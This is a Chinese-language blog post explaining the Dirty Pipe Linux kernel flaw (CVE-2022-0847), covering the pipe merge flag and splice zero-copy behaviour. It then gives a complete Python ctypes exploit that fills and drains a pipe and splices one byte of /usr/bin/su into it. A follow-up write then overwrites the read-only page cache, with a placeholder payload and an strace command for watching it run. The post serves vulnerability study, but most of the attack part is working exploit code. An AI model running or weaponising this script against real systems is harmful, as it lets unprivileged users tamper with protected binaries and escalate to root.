Linux内核Dirty Pipe越权漏洞
2026-05-08 / 技术积累 / 6 次围观 / 0 次吐槽 /1. 漏洞简介
Dirty Pipe (CVE-2022-0847) 是 Linux 内核自 5.8 版本以来存在的一个高危本地提权漏洞。它的威力在于:允许非特权用户篡改只读文件中的数据。
2. 技术核心
管道缓冲区合并:为了效率,内核在管道中设置了
PIPE_BUF_FLAG_CAN_MERGE标志位。它告诉内核:“这个缓冲区还有空间,接下来的数据可以合并进来”。Splice 的零拷贝:
splice()系统调用可以将文件内容直接“重定向”到管道。此时,管道并不拷贝数据,而是直接指向文件的 Page Cache(页面缓存)。漏洞点:内核在执行
splice()时,未能正确重置之前的CAN_MERGE标志位。
3. 漏洞执行方案
该脚本通过 ctypes 直接调用底层 C 库,解决了 Python 高级库对系统调用支持不全的问题。
关键阶段拆解:
准备阶段 (
os.pipe):创建一个匿名管道。激活阶段 (Fill & Drain):
os.write(p_write, b"A" * PIPE_SIZE) # 填满管道
os.read(p_read, PIPE_SIZE) # 排空管道
这一步是为了确保管道中的每一个缓存条目都带上了
CAN_MERGE标志位。嫁接阶段 (
splice): 将目标文件(如/usr/bin/su)的 1 字节内容通过零拷贝拉入管道。此时管道缓冲区指向了文件的只读页面缓存。注入阶段 (
os.write): 由于标志位遗留,随后的write会直接覆盖内存中的 Page Cache。
# 执行观察命令 strace -e pipe,read,write,splice python test.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import os
import sys
import ctypes
# 加载标准 C 库
libc = ctypes.CDLL("libc.so.6", use_errno=True)
def c_splice(fd_in, off_in, fd_out, off_out, length, flags):
"""手动封装 splice 系统调用"""
# off_in 和 off_out 必须是指向 loff_t 的指针,或者为 None (NULL)
off_in_ptr = ctypes.byref(ctypes.c_longlong(off_in)) if off_in is not None else None
off_out_ptr = ctypes.byref(ctypes.c_longlong(off_out)) if off_out is not None else None
res = libc.splice(fd_in, off_in_ptr, fd_out, off_out_ptr, length, flags)
if res == -1:
errno = ctypes.get_errno()
raise OSError(errno, os.strerror(errno))
return res
def exploit(target_path, offset, payload):
print("[*] 准备目标文件: %s" % target_path)
try:
fd_target = os.open(target_path, os.O_RDONLY)
except Exception as e:
print("[-] 无法打开目标: %s" % e)
return
# 1. 创建管道
p_read, p_write = os.pipe()
# 2. 准备管道缓冲区 (Dirty Pipe 核心:填满并排空以设置标志位)
# 默认管道大小通常为 65536
PIPE_SIZE = 65536
print("[*] 填满并排空管道缓冲区...")
# 填满
buf = b"A" * PIPE_SIZE
os.write(p_write, buf)
# 排空
# 注意:在 Python 中循环读取,直到排空
remaining = PIPE_SIZE
while remaining > 0:
chunk = os.read(p_read, min(remaining, 4096))
remaining -= len(chunk)
# 3. 执行 Splice:将目标文件内容“嫁接”到管道
# 这是越权的关键点:将只读文件的页面缓存引入管道缓冲区
print("[*] 执行关键系统调用: splice()")
try:
# 我们从 offset-1 的位置读取 1 字节
c_splice(fd_target, offset - 1, p_write, None, 1, 0)
except Exception as e:
print("[-] splice 失败: %s" % e)
return
# 4. 写入 Payload
# 如果漏洞存在且标志位遗留,这里的写入会直接覆盖 Page Cache
print("[*] 执行写入注入: write()")
try:
n = os.write(p_write, payload)
if n == len(payload):
print("[+] 注入指令已发出。")
else:
print("[-] 写入长度不完整")
except Exception as e:
print("[-] 写入失败: %s" % e)
os.close(p_read)
os.close(p_write)
os.close(fd_target)
if __name__ == "__main__":
TARGET_FILE = "/usr/bin/su"
OFFSET = 1
# 确保 Payload 是字节类型
PAYLOAD_DATA = b"\x42\x42\x42\x42"
print("[*] Dirty Pipe 研究脚本启动...")
exploit(TARGET_FILE, OFFSET, PAYLOAD_DATA)Powered By Cheug's Blog
Copyright Cheug Rights Reserved.